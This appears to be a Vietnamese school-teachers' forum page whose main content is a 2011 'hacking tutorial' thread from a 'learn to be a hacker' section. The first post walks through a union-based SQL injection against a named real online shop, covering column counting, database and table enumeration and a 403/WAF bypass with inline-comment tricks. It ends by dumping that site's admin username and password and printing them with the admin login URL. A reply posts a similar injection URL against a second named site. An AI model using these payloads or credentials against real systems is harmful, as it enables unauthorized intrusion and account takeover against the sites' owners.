http://www.ddtqk.8forum.net
http://www.ddtqk.8forum.net

http://www.ddtqk.8forum.net

DIỄN ĐÀN DO GIÁO VIÊN TRƯỜNG LẬP VỚI PHƯƠNG CHÂM HOẠT ĐỘNG DÂN CHỦ - KỈ CƯƠNG - TÌNH THƯƠNG - TRÁCH NHIỆM
 
Trang ChínhPortalLatest imagesTìm kiếmĐăng kýĐăng Nhập
News & Announcements
  • DIỄN ĐÀN DÂN CHỦ - TQK Q11
KẾT NẠP ĐẢNG VIÊN TRƯỜNG
Tut Hack Site SQL dạng khó( Forbiden 403) I_icon_minitimeDecember 5th 2014, 06:21 by Anonymous
- Tôi xin nói thẳng ra như vầy, đáng lý phải chọn ra những thành phần giáo viên ưu tú nhất của trường để kết nạp vào Đảng thì trường mình ngược lại, những người được kết nạp vào Đảng trong thời gian gần đây không phải là các giáo viên ưu tú nhất của trường. Xin hiệu trưởng coi lại bởi tôi đóng góp trong chi bộ mất công ……

Comments: 0
"Chấm ngày giờ công giáo viên" : Chấm bố láo không thể chịu nổi
Tut Hack Site SQL dạng khó( Forbiden 403) I_icon_minitimeAugust 31st 2014, 20:45 by Anonymous
- Tôi, đại diện cho tập thể anh chị em giáo viên nhà trường xin gửi đến BAN GIÁM HIỆU TRƯỜNG THPT TRẦN QUANG KHẢI QUẬN 11 thông điệp "Chấm ngày giờ công giáo viên" : Chấm bố láo không thể chịu nổi kéo dài nhiều năm qua, dẫn đến hệ lụy là hầu như toàn bộ giáo viên trường bức xúc với vấn đề này. Đề …

[ Full reading ]
Comments: 1
ÉP GIÁO VIÊN CHỦ NHIỆM THU TIỀN TĂNG TIẾT
Tut Hack Site SQL dạng khó( Forbiden 403) I_icon_minitimeNovember 24th 2014, 02:24 by Anonymous
- Học sinh tăng tiết thì các giáo viên chủ nhiệm môn phụ như tôi?? Được hưởng lợi lộc gì từ nguồn thu này???

- Sở GD đã ban hành hướng dẫn số : 4012/HD/GDĐT-KHTC ngày 11-11-2014 quy định rõ : Mức thu dạy thêm, học thêm được thu theo định kỳ hàng tháng, khi thu phải cấp biên lai thu tiền cho từng học sinh thông …

[ Full reading ]
Comments: 0

 

 Tut Hack Site SQL dạng khó( Forbiden 403)

Go down 
2 posters
Tác giảThông điệp
Dân Phòng
thượng sĩ
thượng sĩ
Dân Phòng


Tổng số bài gửi : 109
Join date : 02/08/2011
Age : 33
Đến từ : Oriflame - Group Passion

Tut Hack Site SQL dạng khó( Forbiden 403) Empty
Bài gửiTiêu đề: Tut Hack Site SQL dạng khó( Forbiden 403)   Tut Hack Site SQL dạng khó( Forbiden 403) I_icon_minitimeAugust 7th 2011, 15:01

TUT không có gì mới mẻ chủ yếu là phần 403 Forbidden
Victim : http://www.badalaonline.com/product_detail.php?id=-940
B1 : Order by
order by 10 => no error
order by 25 => error
order by 24 => eror
order by 23 => No error
==> 23 table
Tut Hack Site SQL dạng khó( Forbiden 403) 38522423196376550196

Link : http://www.badalaonline.com/product_detail.php?id=-940 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23-- -



B2 : Kiểm tra Version Và Databse

Link : http://www.badalaonline.com/product_detail.php?id=-940 union select 1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -


Link : http://www.badalaonline.com/product_detail.php?id=-940 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -

B3 : Get Table

Link : http://www.badalaonline.com/product_detail.php?id=-940 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema.tables where table_schema=database()-- -

Xuất Hiện 403 Forbidden
Code:
Forbidden You don't have permission to access /product_detail.php on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
CHÚ Ý NHÉ :

Link : http://www.badalaonline.com/product_detail.php?id=-940 union /*!select*/ 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema./*!tables*/ where table_schema=database()-- -

Tut Hack Site SQL dạng khó( Forbiden 403) 31038892741678607245

B4 : Get Columns
Ở đây mình get columns admin ( Nhớ chuyển sang hex nhé )
HEX admin = 0x61646d696e
Hex | = 0x7c
Link : http://www.badalaonline.com/product_detail.php?id=-940 union /*!select*/ 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23 from information_schema./*!columns*/ where table_schema=database() and table_name=0x61646d696e-- -

Tut Hack Site SQL dạng khó( Forbiden 403) 53101546543389880505

B5 : Get Thông Tin trong columns admin

Link : http://www.badalaonline.com/product_detail.php?id=-940 union /*!select*/ 1,2,3,4,5,6,7,8,group_concat(uname,0x7c,pass),10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin-- -

Tut Hack Site SQL dạng khó( Forbiden 403) 57017007271228364465

WOW ! EM NÓ KHỎI CẦN CRACK
Link admin : http://www.badalaonline.com/admin
user : admin
pass : m*admin1

Coi xong thì các bạn đã hiểu chưa. Chưa hiểu thì cứ hỏi mình nhé. Nhớ thanks đấy nha
Về Đầu Trang Go down
http://mumauden.com
Coca
hạ sĩ
hạ sĩ



Tổng số bài gửi : 17
Join date : 08/08/2011

Tut Hack Site SQL dạng khó( Forbiden 403) Empty
Bài gửiTiêu đề: Re: Tut Hack Site SQL dạng khó( Forbiden 403)   Tut Hack Site SQL dạng khó( Forbiden 403) I_icon_minitimeAugust 8th 2011, 13:50

Không có khó:
Code:
lenamvinh.com/product.php?cat_id=-69+UNiOn+SelEct+1,2,3,4,5,6,group_concat(TABle_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from+information_schema.tABles--

Típ tục nhé
Về Đầu Trang Go down
 
Tut Hack Site SQL dạng khó( Forbiden 403)
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Share thêm site loại nâng cao cho Newbie nè. Biết pass thôi đừng phá nhé
» 30 nữ sinh THPT khoe dáng với đồng phục
» Lại 1 site nữa đã đc tui chiếm
» share anh em 1 site đã đc chiếm
» Cho anh em 1 site vừa chiếm dc User & Pass nè

Permissions in this forum:Bạn không có quyền trả lời bài viết
http://www.ddtqk.8forum.net  :: GÓC CÔNG NGHỆ THÔNG TIN :: Tập làm Hacker-
Chuyển đến